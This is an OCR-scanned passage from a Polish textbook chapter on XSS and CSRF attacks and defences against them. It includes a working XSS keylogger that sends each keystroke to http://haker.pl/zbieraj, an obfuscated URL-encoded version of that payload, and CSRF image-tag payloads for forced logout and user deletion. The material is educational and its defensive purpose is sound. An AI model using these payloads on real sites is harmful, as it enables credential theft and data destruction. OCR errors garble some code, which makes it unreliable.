uzywajqc wrog|ego kodu kod i zapiera go w linku,
! ktory wystany jest ofierze
Serwer odpownada
kodem odbitym -

Wykonanie kodu
przez przegladarke

Rys. 4.2. Przyktadowy atak XSS odbity

Zrédfo: opracowanie wtasne
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Atak skladowany

W przypadku ataku sktadowanego (ang. XSS Persist) wrogi kod zapisywany jest po
stronie serwera HTTP np. w bazie danych. Agresor wprowadza zainfekowane tresci
do aplikacji internetowej i zapamietuje adres, pod ktérym bedg one eksponowane.
Nastepnie roznymi zabiegami z dziedziny inzynierii spotecznej przekierowuje pod ten
adres ofiare lub tez po prostu czeka, az jakis uzytkownik przypadkowo trafi do
zainfekowanego miejsca. Dalej schemat wyglada zupetnie analogicznie jak
w przypadku ataku odbitego.

Atakéw sktadowanych mozna uzywa¢ w przypadku witryn pozwalajgcych
magazynowac dane np. fora, blogi, serwisy spotecznosciowe itp. Zasieg takich atakow
jest wiekszy, poniewaz kazdy odwiedzajgcy zainfekowany adres uzytkownik
uruchamia ztodliwy kod. Rysunek 4.3 przedstawia zasade dziatania ataku

sktadowanego, rysunek 3.5. realne przyktady jego zastosowania.

Agresor umieszcza (sktaduje) wrogi kod na serwerze podatnym na XSS

Agresor wysyta link do
Ofiara taczy sie z serwerem strony eksponujacej

i kod
FHR S— —1.
' _ far. R Q

Serwer odpowiada
kodem skfadowany

Wykonanie kodu
przez przegladarke

Rys. 4.3. Schemat przyktadowego ataku XSS sktadowanego

Zrédfo: opracowanie wtasne
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Podatnos¢ na ataki XSS

Obydwu typow atakéw XSS mozna uzywac jednoczesnie, a gtdbwne ograniczenie
polega na podatnosci aplikacji. Wrogi kod w atakach odbitych uzalezniony jest od
diugosci URL. Jego maksymalna dtugos¢ zalezy konkretnego oprogramowania
(np. dla przegladarki Internet Explorer jest to 2083 znaki, a wiec dos¢ duzo — ponad
strona standardowego tekstu). W przypadkéw atakéow sktadowany w praktyce
decyduje pojemnos¢ pdl w bazie danych, w ktérych wrogi kod jest sktadowany.
Przyktadowo, dla pola typu text w bazie MySQL jest to 2'°-1 bajtow.

Ataki XSS mogg przybiera¢ bardzo wyrafinowane formy i infekowa¢ aplikacje
internetowe w punktach wejsciowych, ktérych programista raczej nie uznatby za
niebezpieczne. Przykiadowo, niech aplikacja posiada funkcjonalnos¢ dodawania
anonimowych komentarzy. Przy kazdym komentarzu pojawiajg sie jednoczesnie
ikonki odpowiedzialne za wysSwietlenie danych o przeglagdarce i systemie
operacyjnym, a ustawienie na nich kursora myszki sprawi, ze wyswietli sie tekst
podajgcy petne dane agenta i systemu autora komentarza. Aplikacja pobiera
informacje o przegladarce przez nagidwek zgdania User-agent. Wartos¢ tego
nagtdwka wysytana jest automatycznie przez przeglagdarke za kazdym zgdaniem
HTTP. Na og6t stanowi kombinacje nazwy przeglgdarki, jej silnika, systemu
operacyjnego oraz jezyka interfejsu. Wydawaé by sie mogto, ze agresor nie ma
wplywu na parametry ustalane przez oprogramowanie automatycznie. Nic bardziej
mylnego — przy uzyciu autorskich programow wysytajgcych zagdaniach HTTP lub
gotowych narzedzi (np. Fiddler, CURL) mozna zmodyfikowa¢ nagtowek User-agent,
by przekaza¢ w nim wrogi kod. W przypadku pominiecia procedur dokfadnej filtracji
i walidacji nagtéwka, baza danych zapisze zainfekowane informacje o przegladarce,
a potem wyswietla¢ je bedzie uzytkownikom realizujgc tym samym zatozenia ataku
sktadowanego XSS.

Specyficzng odmiang ataku skltadowanego XSS jest wgranie na serwer
zainfekowanego pliku poprzez nieszczelny mechanizm upload'u. W ten sposéb
wprowadzi¢ mozna rowniez pliki Zrodtowe PHP, ktére zostang wykonane na prawach
normalnych skryptow aplikacji. Jest to szczegdlnie niebezpieczna odmiana XSS,

poniewaz nie zagraza pojedynczym uzytkownikom, a catemu systemowi.
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Przechwytywanie interakcji

Ataki XSS, wykorzystujgce jezyk JavasScript jako reprezentacje wrogiego kodu
wykonawczego, cechuje réoznorodnos¢ zastosowania. Sg one narzedziem operujgcym
zarowno na danych dostepnych w chwili zatadowania strony, jak i informacjach, ktére
bedg znane dopiero w przysztosci. Umozliwiajg to mechanizmy obstugi zdarzen
JavaScript oraz funkcje zegarowe tego jezyka (setInterval (), setTimeout()).
Dokonujgc ataku XSS agresor moze wprowadzi¢ instrukcje realizujgce
oprogramowanie typu KeylLogger, ktére przechwytuje znaki wprowadzane przez
uzytkownika z klawiatury i przesyta je na zewnatrz aplikacji (np. na serwer hakera).
Mechanizm taki umozliwia nie tylko szpiegowanie klawiatury, ale i kliknie¢ kursora
myszki w trakcie pracy z aplikacjg internetowa.

Niech aplikacja posiada luke w postaci podatnosci na atak XSS. Agresor wie, ze
ofiara posiada konto na niezabezpieczonym serwisie i tworzy kod odpowiadajacy za
wysSwietlenie warstwy, ktdra przystoni pozostatg zawartos¢ strony i bedzie zawierata
strone logowania. Nalezy zaznaczy¢, ze podstrona zawierajgca logowanie pochodzi
z oryginalnej witryny i nie jest spreparowana przez atakujgcego, a wiec wyglada
niegroznie. Dzieki temu zyskuje sie:

o dostep do wewnetrznych elementéw ramki (zgodnie z zasadami tozsamosci
pochodzenia obiektow wywotywanych przez skrypty — ang. Same-Origin Policy),

e pewnos¢, ze wyswietlona zawartos¢ odzwierciedla stan faktyczny (nawet po
ewentualnych zmianach w aplikaciji).

Idee takiego ataku ilustruje rysunek 4.4.
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Strona podatna Formularz
na atak X35 logowania

Rys. 4.4. Schemat budowy strony szpiegujgcej interakcje

Zrédfo: opracowanie wtasne
Za implementacje struktury z rysunku 4.4 odpowiada kod HTML z listingu 4.2.

W celu skrocenia kodu JavaScript, dodano popularng biblioteke jQuery (nalezy

pamietac, ze jezeli realizowany jest atak odbity, to dlugos¢ URL jest ograniczona).

Listing 4.2. Kod HTML ataku XSS szpiegujgcy interakcje

<!-- pobierz biblioteke jQuery znacznie skracajaca wrogi kod -->
<script src="http://code.jquery.com/jquery-1.6.1.min.js"></script>
<iframe src="login.html" <!-- stwérz ramke ze strona logowania -->
style="width:100%; <!-- rozciagajac ja na cate okno -->
height:100%;
position:absolute;

top:0;
left:0;
z-index:1000; <!-- niech zakrywa inne elementy -->
background-color:#ffffff;">
</iframe>

Zrédfo: opracowanie wtasne

Przedstawiony w listingu 4.2 kod spowoduje, Zze strona go zawierajgca bedzie
miata posta¢ ramki (i frame) rozciggajgcej sie na catg powierzchnie okna symulujgc

obecnos¢ na innej stronie serwisu (podstrona logowania — login.html). Obiekt
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iframe nalezy wyposazy¢ w dodatkowy atrybut onload, ktéry odpowiada za
uruchomianie kodu po =zatadowaniu zawartosci ramki. Wartos¢ tego atrybuty
reprezentuje listing 4.3.

Listing 4.3. Wartosc¢ atrybutu onload elementu i frame

$ (this) .contents () .keypress (function (e) { // wcisniecia klawisza
S.get ('http://haker.pl/zbieraj', { // utwérz zadanie Ajax

x: String.fromCharCode (e.which) // przekaz znak klawisza
1)
)

Zrédfo: opracowanie wtasne

Atakujgcy na kontrolowanym przez siebie serwerze umieszcza skrypt
zapamietujgcy otrzymane zadania, ktory rejestruje wprowadzone przez ofiare znaki.
W tym przypadku znajduje sie on pod adresem http://haker.pl/zbieraj?
x=<wpisany znak>. Nieswiadomy zagrozenia uzytkownik wpisujgc dane logowania
do de facto oryginalnego formularza logowania przekazuje je réwniez hakerowi. Ta
metoda jest szczegdlnie grozna, poniewaz dziata na elementach zawierajgcych sie
wewnatrz jednej domeny, przez co wyglada neutralnie. Caty kod przestany do ofiary
tego ataku XSS moze zosta¢ dodatkowo zaciemniony za pomocg funkcji ucieczki

jezyka JavaScript window.escape () i przyjac nieczytelng forme z listingu 4.4.

Listing 4.4. Zaciemniony adres URL zawierajgcy atak XSS

http://xssserver.pl/search.php?q=2%3C%73%63%72%69%70%74%20%73%72%63%3D
$22%68%74%74%7T0%3A%2F%2F%63%6F%64%65%2E%6A%71%75%65%72%79%2E%63%6F%6D%
2F%6A%71%75%65%72%79%2D%31%2E%$36%2E%$31%2E%6D%69%6E%2E$6A%73%22%3E%3C%2
F%$73%63%72%69%70%74%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%6C%$6F%67
$69%6ES2E%$68%74%6D%6C%22%20%6F%$06ES6C%06F%61%64%3D%22%24%28%74%68%69%73%
29%2E%63%6F%$06ES74%65%6E%74%73%28%29%2E%6B%65%79%70%72%65%73%73%28%66%7
5%6E%63%74%69%0F%0E%$28%65%29%7B%24%2E%67%65%74%28%27%68%74%74%70%3A%2F
$2F%68%61%6B%65%72%2E%70%6CS2F%7A%62%69%65%72%61%6A%27%2C%TB%78%3A%20%
53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%65%2E%77%6
8%69%63%68%29%7D%29%7D%29%22%20%73%74%79%6C%$65%3D%22%77%69%64%74%68%3A
$31%30%30%25%3B%20%68%65%69%67%68%74%3A%31%30%30%25%3B%20%70%6F%73%69%
T4%69%6F%0ES3A%61%62%73%6F%6C%75%74%65%3B%20%74%6F%70%3A%30%3B%20%6C%6
5%66%74%3A%30%3B%20%7A%2D%69%6E%$64%65%78%3A%31%30%30%30%3B%20%62%61%63
$6B%67%72%6F%T5%6E%64%2D%63%6F%$6Cs0F$72%3A%23%66%66%66%66%66%66%3B%22%
3E$3C%2F%69%66%72%61%6D%65%3E

Zrédfo: opracowanie wtasne
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Jak wspomniano wczeéniej, agresor skorzystaé moze z serwiséw internetowych

skracajgcych posta¢ URL do przyjaznej formy np http://tnij.org/od-ani.

Atak posredniczacy — XSS Proxy

XSS Proxy (pol. posrednik) oznacza zaawansowany rodzaj atakéw wykorzystujgcych
podatnos¢ XSS. Wiele serwisow, bedgcych celami hakeréw, posiada na ogét solidne
zabezpieczenia szczegdlnie na podstronach odpowiadajgcych za udostepnianie
poufnych tresci. Pierwszym warunkiem dostepu do nich jest na ogét koniecznosé
uwierzytelnienia w serwisie, a potem mechanizmy typu lista kontroli dostepu — ACL
(ang. Access Control List) udzielajg autoryzacji dostepu do zasobu. Zdarzy¢ sie moze,
ze poza bezpiecznymi stronami istniejg takze takie, ktorych znaczenie — w odczuciu
programistow — jest mniej istotne. Jezeli na takiej stronie istnieje mozliwo$¢ ekspozycji
wrogiego kodu, to haker z skorzysta¢ moze ztechniki XSS Proxy w celu
wykorzystania mniej zabezpieczonej podstrony do kradziezy danych z tej poprawnie
zabezpieczonej. Umozliwia to zastosowanie elementu iframe Ilub obiektu
XMLHttpRequest moggcego pobra¢ tresci dokumentéw  wymagajgcych
uwierzytelnienia. Sprzyjajg temu nastepujgce okolicznosci:
e 7gdania wysytane przez obiekty posredniczgce posiadajg nagtdéwek cookie,
e 7gdania realizowane sg na ogot w obrebie jednej witryny, dzieki czemu
zachowana jest zgodnos¢ z politykg Same-Origin Policy,
o istnieje mozliwo$¢ dostepu do tresci odpowiedzi.
Technika ta moze zosta¢ uzyta réwniez do wykonania czynnosci, ktére moze wykonac
uzytkownik, np. doda¢ komentarz w profilu wszystkich znajomych. Komentarz taki
moze przekierowywaé uzytkownikéw do strony, na ktérej zarazita sie pierwsza ofiara.
Jest to czesty scenariusz rozpowszechniania sie réznych robakdw internetowych
(np. robak Samy). Rysunek 4.5 ilustruje w jaki spos6b moze dziata¢ atak XSS Proxy.
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Serwer HTTP napastnika

Strona, na ktorej eksponowano wrogi kod A haker.pl

- Zawiera kod umieszczony za pomoca XSS
w tym i znacznik <script src="http://haker.pl/..”" (B)

|
|
|
|
|
|
- Wczytuje inne dokumenty do ramki (C) :
- Odpowiedz na zadania w skrypcie (B) wykonuja sie |
ilekrosc strona A zostanie zaladowana Pobranie ! :
skryptu |
sterujacego (B) : !
|
I |
I .
------------------------------- / \ ZADANIE: :
| | Modyfikacja |
| skryptu |
! sterujacego (B) !
: Zwrot w zaleznosci :
| danych od potrzeb |
| |
|
|
|
|
|
|
|
|
|
|
|
|
|
|

Element Script z lokalizacji napastnika

pozadanych

(dowolne nagtéwki, metody) pozadanych danych. serwera

skradzione
Y
dane
“““““““““““““““““ 1 R
Infekcja wrogim
kodem, ktory jest
sktadowany

i eksponowany klientowi

I
I
I
I
! |
| I
s . I
| -zawartos¢ kontrolowana przez napastnika |
na serwer
- i ¢ i I
! odpowiada za posérednictwo przekzu danych ! | agresora
. -moze preparowac dowolne zadania I I iich zapis
! \ X ODPOWIEDZ:
: | 1 Agresor
| X X | I pobiera
X Polecenie zatadowania o ) | | ze swojego
| wymaganego dokumentu. Pobranie i filtracja | |
| I
: I I
I
I

I

I

I

I

I

I
Element Iframe (stworzony przez agresora) 1
- Wezytuje inne dokumenty ze strony victim.pl \ 2:;’;52::;3
- Dotepnos¢ do dokumentu przez strone A ! strone 2
- Weczytywane dokumenty sg odporne na infekcje
I
I
I
I

1
| Pobranie

dokumentu
pozadanego

Serwer HTTP podatny
na atak XSS skidowany
victim.pl

. Czynnosci agresora . Czynnosci ofiary

Rys. 4.5. Przyktadowy atak XSS Proxy

Zrédfo: opracowanie wtasne

Ochrona przed atakami XSS

Ataki XSS stanowig powazne zagrozenie dla uzytkownikéw aplikacji internetowych.
Istnieje kilka uniwersalnych technik, ktore nalezy stosowac by uczynic je bezpiecznymi
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na tego typu ataki. Podstawowg metodg ochrony aplikacji przed atakami XSS jest
filtrowanie danych wprowadzanych (wejsciowych) do aplikacji wykonywana po stronie
serwera (a wiec filtracja danych przesytanych przez uzytkownika aplikacji).

Istotnym w zrozumieniu istoty i ochronie przed atakami XSS jest rozroznienie
dwaoch pojec:

o walidacja — dziatanie majgce na celu weryfikacje poprawnosci danych
wejsciowych na podstawie dostarczenia obiektywnego dowodu prawdziwo$ci;

o filtracja — proces, ktéry usuwa z danych wejsciowych niepotrzebne i niechciane,
aczkolwiek poprawne (tj. walidowane) dane.

Zarowno walidacja, jak i filtracja, powinny by¢é wykonane po stronie klienta, jak

i serwera aplikacji internetowe;.

Kontrola poprawnosci po stronie klienta zmniejsza obcigzenie serwera, nie
dopuszczajgc do niego danych niepoprawnych. Ponowna kontrola po stronie serwera
jest w przypadku aplikacji internetowych réwnie niezbedna. Agresor moze bowiem
wykonaé caly szereg czynnosci niwelujgcych funkcje kontroli danych po stronie
klienta. Nalezg do nich, miedzy innymi:

e wytgczenie obstugi JavaScript unieruchamiajgc walidator formularza,

e usuniecie lub zmiana atrybutu maxlength odpowiadajgcy za maksymalng
dtugosc¢ wartosci pola tekstowego,

e dodanie wtasnych pél do formularza wraz z dowolnymi warto$ciami (w tym takze
pole file),

e usuniecie pola istniejgcego w formularzu.

Kontrola danych wejsciowych do aplikacji po stronie serwera powinna obejmowac
jak minimum sprawdzenie nastepujgcych elementéw:

e Diugosci pol — jezeli tylko mozna, nalezy zadeklarowaé¢ w jakim przedziale
zawiera¢ ma sie dtugos¢ znakdéw w poszczegdlnych polach. Przyktadowo adres
email powinien by¢ nie krétszy niz 5 znakdéw i nie diuzszy niz 255 znakoéw (nie
wliczajgc domen najwyzszego poziomu), imie powinno by¢ co najmnigj
dwuliterowe, kod pocztowy musi zawsze mie¢ 6 znakéw, a komentarz

uzytkownika nie moze by¢ pusty, ale nie dtuzszy niz ... znakow.
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Zawartosci — dopuszczalnego zestawu danych i ich kolejnos¢. Przyktadowo kod
pocztowy musi zawiera¢ 2 cyfry, mysinik i 3 cyfry, co reprezentuje nastepujgce
/M\d{23\-\d{3}3/.

rozbudowane struktury wejsciowe jak np. dane pobrane z kanatow RSS majgce

wyrazenie regularne: Istniejg rowniez  bardziej

strukture znacznikéw. Pliki wgrywane na serwer réwniez podlegajg wewnetrznej
kontroli zawarto$ci np. tzw. mime-types lub przeszukaniu pod katem zawierania

znacznikow.

W s$rodowisku PHP dostepne sg standardowe funkcje stuzgce do walidaciji i filtrowania

danych wejsciowych. Tabela 4.3 zawiera najwazniejsze z nich.

Tabela 4.3. Wybrane funkcje PHP umozliwiajgce walidacje danych wejsciowych

Funkcja Argumenty Dzialanie
preg match () | wzorzec Zwraca ilos¢ wystgpien wzorca w analizowanym
temat temacie. Funkcja uzywa wyrazeh regularnych
dopasowania w stylistyce Perl'a.
flagi
stata sktadowa
ereg (), wzorzec Zwraca diugos¢ dopasowanego tancucha lub false
eregi () temat w przypadku porazki. Funkcja jest oznaczona jako
dopasowania przestarzatg w PHP powyzej wersji 5.3.0. Bazuje na
stylistyce POSIX.
empty () Temat Sprawdza, czy zmienna nie jest pusta.
strlen() Temat Zwraca ilos¢ bajtbw we wprowadzonym literale.
W przypadku kodowania wielobajtowego jak UTF-8
nalezy uzywa¢ mb_strlen by uzyska¢ prawdziwg
dtugosé literatu.
strcmp () temat1, temat2 Poréwnuije literaty na poziomie binarnym.
isset () Zmienna Sprawdza, czy zmienna zostata zadeklarowana.

Zrédfo: opracowanie wtasne na podstawie (Allen, 2002)

W $rodowiskach bazujgcych na jezyku PHP powstaty biblioteki i komponenty

wspomagajgce proces walidacji. Narzedzia takie posiadajg zdefiniowane wzorce dla

najczesciej pojawiajgcych sie rodzajéw danych np. adresu email, URL, numeru karty

kredytowej czy kodu pocztowego. Popularng i bardzo obszerng bibliotekg jest

zintegrowana ze srodowiskiem Zend Framework klasa Zend_Validate. Posiada ona

ponad 20 walidatoréw z szerokimi mozliwosciami konfiguracji oraz umozliwia ich
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dalsze rozszerzanie lub pisanie wlasnych narzedzi weryfikujgcych. Przyktadowa klasa
stuzgca do sprawdzenia poprawnosci adresu email Zend Validate EmailAddress
posiada nawet mozliwo$¢ potgczenia sie z serwerem adresu email i odszukanie na
nim odpowiednich rekordéw MX. W przypadku koniecznosci uzycia znacznikéw HTML
mozna skorzysta¢ z narzedzia HTML Purifier, ktére dokonuje filtracji danych

wejsciowych w oparciu o wzorce i biate oraz czarne listy.

Tabela 4.4. Zestawienie mozliwych metod komunikacji jezyka JavaScript z serwerami

Dostep do | Dostep do _Czy moiliw_e Czy iqda_nie
. Metoda | odpowiedzi | nagtéwkow je.St wy§lan|e przypomina
Technika . - . .| zadania do normalne
HTTP zadania | odpowiedzi d Inei h .
rzez JS przez JS owolne zachowanie
P domeny? uzytkownika?
Dynamicznie
tworzony element
HTML (np. GET Nie Nie Tak Tak
<object>,
<img> itp)
Dynamicznie GET
tworzony znacznik PO S’T Nie Nie Tak Tak
<form>
Tﬁ':g;:gbm Tak, lecz
Wybudowany vl . nagtéwek
obiekt Tmage CET . V,VI.elk.OS.C’ Nie Tak Accept moze
jesli plik jest T
obrazem sie rézni¢
Tylko jesli Tak, lecz
odpowiedz . nagtowek
Zdalny skrypt GET jest Nie Tak Accept moze
skryptem JS sie rézni¢
Tak, na
Zdalny T frame GET Sgﬁ:ﬁgﬁ;‘m Nie Tak Tak
Policy
Tak, na Tak, na
. zasadach zasadach
XMLHTTPRequest | Wszystkie Same-Origin | Same-Origin Tak Tak
Policy Policy

Zrédfo: opracowanie wiasne na podstawie (Hoffman, 2009)
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Komunikacja z poziomu jezyka JavaScript z serwerami zewnetrznymi moze
odby¢ sie na kilka sposobdéw. Wykorzystuje sie zarébwno osadzone w tym jezyku
obiekty jak itworzy dynamicznie elementy HTML odwotujgce sie do zasobdw
zewnetrznych. W zaleznosci od potrzeby atakujgcy moze wybra¢ rézne opcje.
Problem w zabezpieczeniu polega na tym, ze wykorzystanie komunikacji przez wrogi
kod nie rézni sie niczym od wykorzystania jej przez zwykte programy. Tabela 4.4

zawiera mozliwe techniki wymiany danych pomiedzy przeglgdarkg a serwerem.

4.3. CROSS-SITE REQUEST FORGERY

Istota ataku

Ataki XRF (ang. Cross-Site Request Forgery) wykorzystujg wzajemne zaufanie jakim
obdarzajg sie aplikacja internetowa i przeglgdarka. Technika ta jest stosowana by
wykona¢ zgdanie HTTP na prawach i wtasciwosciami uprawnionego uzytkownika
(np. uwierzytelnienie, dostep z okreslonej puli adreséw IP itp.). Atak polega na
osadzeniu w aplikacji zasobu pobieranego z serwera, na ktérym chce sie wykonac
wrogg czynnosc¢. Przegladarka internetowa wysle zgdanie przesytajgc nagtéwki odpo-
wiadajgce za uwierzytelnienie lub sesje uzytkownika:

e Authorization — informacje o uwierzytelnieniu http,

e Cookie — ciasteczko mogace zawiera¢ identyfikator sesji.

Technika ta moze zosta¢ uzyta do dowolnych celéw i podobnie jak w innych atakach
zwigzanych z wykonaniem wrogiego kodu, jej dokonanie nie rézni sie znaczgco od

normalnego wykorzystania aplikacji internetowe;.
Przyklady zastosowania

Najbardziej trywialny (i bezpieczny) przykiad ataku XRF to atak na forum Internetowe
polegajgce na uniemozliwieniu korzystania z niego innym uzytkownikow przez ciggte
ich  wylogowywanie. Aplikacja forum dyskusyjnego posiada mozliwos¢
uwierzytelnienia w celu pisania postéow. Po zalogowaniu uzytkownikowi wyswietlany

jest m.in. tgcze "Wyloguj" prowadzgce do adresu http://forum.pl/wyloguj, po
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kliknieciu na ktéry nastgpi zakonczenie uwierzytelnienia, a co za tym idzie odebranie
mozliwosci pisania nowych odpowiedzi. Forum to posiada takze mozliwosé
umieszczenia w podpisie autora znacznika <img> odpowiadajgcego za rendering

obrazka. Atakujgcy umieszcza w swojej sygnaturze kod z listingu 4.5.

Listing 4.5. Przykfadowy kod wykorzystania XRF

|<img src="http://forum.pl/wyloguj"/>

Zrédfo: opracowanie wtasne

Obiekt ten bedzie eksponowany na kazdej stronie forum, na ktérej napastnik napisze
wiadomosé. Kazdy odwiedzajgcy automatycznie wysle Zgdanie pod adres
odpowiedzialny za wylogowanie, na skutek czego straci mozliwos¢ napisania
odpowiedzi (posta). Atak taki jest o tyle ucigzliwy, ze uzytkownik nawet nie wie, ze
zostaje wylogowany az do chwili przetadowania strony. Dlatego tez moze napisac
wiadomos¢, a jej wystanie i zapis zakonczy sie fiaskiem.

Inny przykfad posiada juz nieco powazniejsze konsekwencje. Zatozy¢ nalezy, ze
istnieje instytucja, ktéra posiada wewnatrz firmowg aplikacje CRM dziatajgcg w sieci
Internet. Dostep do niej wymaga po pierwsze uwierzytelnienia, a po drugie jest
ograniczony jest do puli kilku adresow z sieci LAN. Serwera aplikacji chroniony jest
przez firewall, a port na ktéorym dziata serwer HTTP nie jest dostepny spoza sieci
lokalnej. Innymi stowy nie ma fizycznej mozliwos¢ potgczenia sie z aplikacja CRM
z zewnatrz. W celu ataku napastnik preparuje specjalng strone, na ktoérej umieszcza
zaso6b tgczacy sie aplikacjig CRM. Do tego celu uzywa znacznika <img>. Link do
zainfekowanej strony zostaje przekazany ofierze ataku, ktéra zostaje sktoniona do
uruchomienia go. Przeglgdarka automatycznie pobierze wszystkie zasoby zewnetrze,
w tym takze nawigze potgczenie z zasobem http://192.168.0.1/delete_user.php?id=10.
Na skutek tej czynnosci usuniety zostanie uzytkownik aplikacji, wraz z jego wszystkimi
danymi np. zaplanowanymi terminami podpisywania umoéw. Scenariusz tego dziatania

zostat zobrazowany na rysunku 4.6.
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Sie¢ LAN z Firewallem
Do serwera dostep mozliwy Serwer 192.168.0.1 Serwer example.com

jedynie przez LAN.

Podesfanie ofierze adresu
zainfekowanej strony (np. przez email)
http:/fexample.com/youwin.htm!

Infekcja CRSF strony w Internecie:
< img sre="http://192.168.0.1/delete_user.phplid=10">

Rys. 4.6. Przykfadowy atak XRF

Zrédfo: opracowanie wiasne

Ochrona przed atakami XRF

Zbior wszystkich czynno$¢ przeciwdziatajgcych atakom typu XRF mozna podzieli¢ na
dwie grupy w zalezno$ci po ktorej stronie architektury klient-serwer sie znajduja:

e ochrone po stronie uzytkownika,

e zabezpieczenia systemu informatycznego.

Do pierwszej grupy zaliczajg sie czynnosci, o ktére zadba¢ musi osoba korzystajgca
z systemu informatycznego. W przypadku aplikacji wymagajacych uwierzytelnienia,
nie nalezy korzysta¢ z opcji zapamietywania zalogowanego uzytkownika, poniewaz
stan uwierzytelnienia moze zosta¢ wykorzystany do wykonania wrogiej czynnosSci
przez zainfekowang XRF strone internetowej. Zawsze po zakonczeniu korzystania
z serwisu nalezy sie wylogowac. Podczas trwania sesji, zalogowany uzytkownik nie
powinien réwniez korzysta¢ z innych serwiséw, poniewaz mogg one wysta¢ zgdania
XRF. Czesto zalecanym zabezpieczeniem korzystanie z dwoch przegladarek

(Grossman, 2014). Pierwszej z nich uzywa do codziennego przegladania Internetu,



94 Wspotczesne Technologie Informatyczne. Zagrozenia i ochrona aplikacji internetowych

drugg zas wykorzystuje do realizacji proceséw wymagajgcych szczegdlnego
bezpieczenstwa - np. przelewow bankowych. Dzieki temu stan uwierzytelnienia
zapamietany na jednej przeglagdarce nie moze zosta¢ wykorzystany w drugiej
(Grossman, 2014). W przypadku korzystania z serwiséw w sieci Internat, wydzieli¢
mozna w obrebie instytucji komputery mogace korzysta¢ z aplikacji i ograniczy¢ im
mozliwos¢ przeglgdania innych stron w Internecie, a nawet catkowicie od niego
odcig¢. Odradza sie réwniez korzystanie z komputeréw publicznych (np. w bibliotece
lub szkole czy kawiarni internetowej) do odwiedzania serwiséw wymagajgcych
zalogowania. Na takim sprzecie moglo zostaé zainstalowane ztoSliwe
oprogramowanie korzystajgce z praw uwierzytelnionego uzytkownika — np. skrypty
uzytkownika USER JS dotgczane do wszystkich przegladanych witryn pliki JavaScript.
Z powodzeniem mogg one wykonywaé operacje XRF.

Zabezpieczenia po stronie aplikacji internetowej sg duzo bardziej skomplikowane,
a ich implementacja rézni sie w zaleznosci od wybranego $rodowiska wykonawczego.
Wszystkie jednak realizujg podobne czynnosci, takie jak:
e hasta jednorazowe,
e automatyczne wylogowanie,
e potwierdzenie tozsamosci,
¢ mechanizm CAPTCHA,

e jednorazowe Zetony.

Hasto jednorazowe jest to pseudolosowy cigg znakéw wygenerowany przez
aplikacje i przekazywany uzytkownikowi, ktéry musi go potem wprowadzi¢ do
systemu. Po wprowadzeniu hasto traci waznos¢. Mechanizm opiera sie na fakcie, ze
hasto takie zostaje przestane innym kanatem komunikacyjnym niz Internet. Moze by¢
to np. wystanie hasta SMS'em na telefon komérkowy uzytkownika lub wystanie go
w formie papierowego listu. Mozna stosowaé tez specjalne urzgdzenia — generatory
kodéw-zetonéw (ang. Token) lub karty-zdrapki haset jednorazowych.

Automatyczne wylogowanie — dtugosc¢ czasu uwierzytelnienia (uwierzytelnionej
sesji) powinna by¢ odwrotnie proporcjonalna do konsekwencji mogacych wynikngc

z czynnosci dokonywanych za pomocg serwisu (Hoffman, 2009). Serwisy takie jak
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PayPal, CEIDG, iPKO, Bank ING lub AXA wylogowujg uzytkownika po kilku-kilkunastu

minutach bezczynno$ci — rysunek 4.7.

==
@ Serwis intemetowy iPKO %\ s ®
€« C' | £ Inteligo Financial Services S.A. [PL]| https://www.ipko.pl/ikd <ol =
M Klient: MAREK MILOSZ | Numer klienta: S
' | Czas do korica sesji: 06:145

Rachunki Transakcje Katy IKO Fundusze nwul::v"glkle Ubezpieczenia Doladowania Dostep Kontakt F;;;:\z(l}a dia Ciebie

| ~ Osobiste i frmowe AKTUALNOSCI
KUP ON-LINE

+ Lokaty )

,] + Kredyty Wybierz |
= Potwierdzenia sald rachunkéw dla klientéw instytucionalnych
+ Historia rachunku Przypominamy o mozliwoéc korzystania w iPKO z potwierdzen sald na koniec roku.
. Potwierdzenia s3 mozliwe do pobrania w zakldce Poczta iPKO, w sekdi Dokumenty. CENTRUM KONTAKTU

-+ Srodki nieroziizone

-+ \Wyciagi Wiscai aktuahoddi Sprawd? Poczte iPKO

_Doumdnminni S1E Napiez do nas -

— — — —

Rys. 4.7. Bankowy serwis iPKO wylogowujgcy nieaktywnego uzytkownika

Zrédfo: opracowanie wiasne, https://www.ipko.pl

Potwierdzenie tozsamosci stosuje sie zwykle przy procesach krytycznych.
Zabezpieczenie sprowadza sie do ponownego wprowadzenia hasta celem upewnienia
sie, ze nikt obcy nie przejat sesji uzytkownika (Hoffman, 2009).

Mechanizm CAPTCHA — podobnie jak poprzednia metoda eliminuje wykonanie
czynno$ci krytycznej w sposéb niezauwazany dla uzytkownika. Technika ta zostata
opisana w rozdziale 3.

Pola formularza i linki do stron powodujgcych zmiany w serwisie powinny
zawiera¢ zetony, czyli pseudolosowe liczby zapisane takze po stronie serwera
(rysunek 4.8). Zetony zapisywaé mozna takze w cookie lub innym mechanizmie
sktadowania, co daje pewnos¢, ze Zeton nie bedzie eksponowany w kodzie strony
oraz dostep do niego odbywac¢ sie bedzie na zasadach Same-Orgin Policy. Jezeli nie
podano Zetonu lub jego wartos¢ rézni sie od tej zapamietanej dla danego uzytkownika
na serwerze, to czynno$¢ zostaje zaniechana przez system. Mechanizm ten jest
niezwykle popularny, jednak nie gwarantuje bezpieczenstwa, jezeli strona podatna
jest takze na ataki XSS, poniewaz istnieje wtedy mozliwos¢ wykradzenia

i zastosowania przekazanych zetonoéw (Hoffman, 2009).



96 Wspotczesne Technologie Informatyczne. Zagrozenia i ochrona aplikacji internetowych

C | @ view-source virkiel digart.pl/digarty/ @A

[ Pasek zaktadek [ Firma (O dvplom (] Zdjecia (] Ispiracie juery UI - Autocomp... »
OreEl="duLpgoffwilldRIeEl . aigar L. g A0 LI 'A'
sro="http://avatar. img. digart.pl/data/avatar/v/44532" class="gvatar" /=< a> )
</ dive

148 <div class="topusermenu's

143 <&
href="/centrun/ ">eentrmn/ 2

150 <@ href="javascript:wvoid(o) ;"
onclick="przyjaciele () ">preyjaciele</a-

href="fuzytkownikfwylogujrf8c4e89df99861388d33f4&06:8b89:5lhtml">wyloguj

sig</ax

152 </ dive

155 <div class="topuserpow':

154 <img sro="Jogfx/powicotop.gif™”
width="62" height="16" alt="" id="powcotop'™
style="pozition:sbsolute;displayinone; " />

155 <zZpan id="cgetPow"

Sl o= orlarre mona s M oman
== = =

Rys. 4.8. Kod strony Digart.pl zawierajgcy link do wylogowania z Zetonem

Zrédio: opracowanie wiasne, http://digart.pl

Ws$réd niektérych programistéw utarto sie mylne mniemanie, ze dwie ponizsze
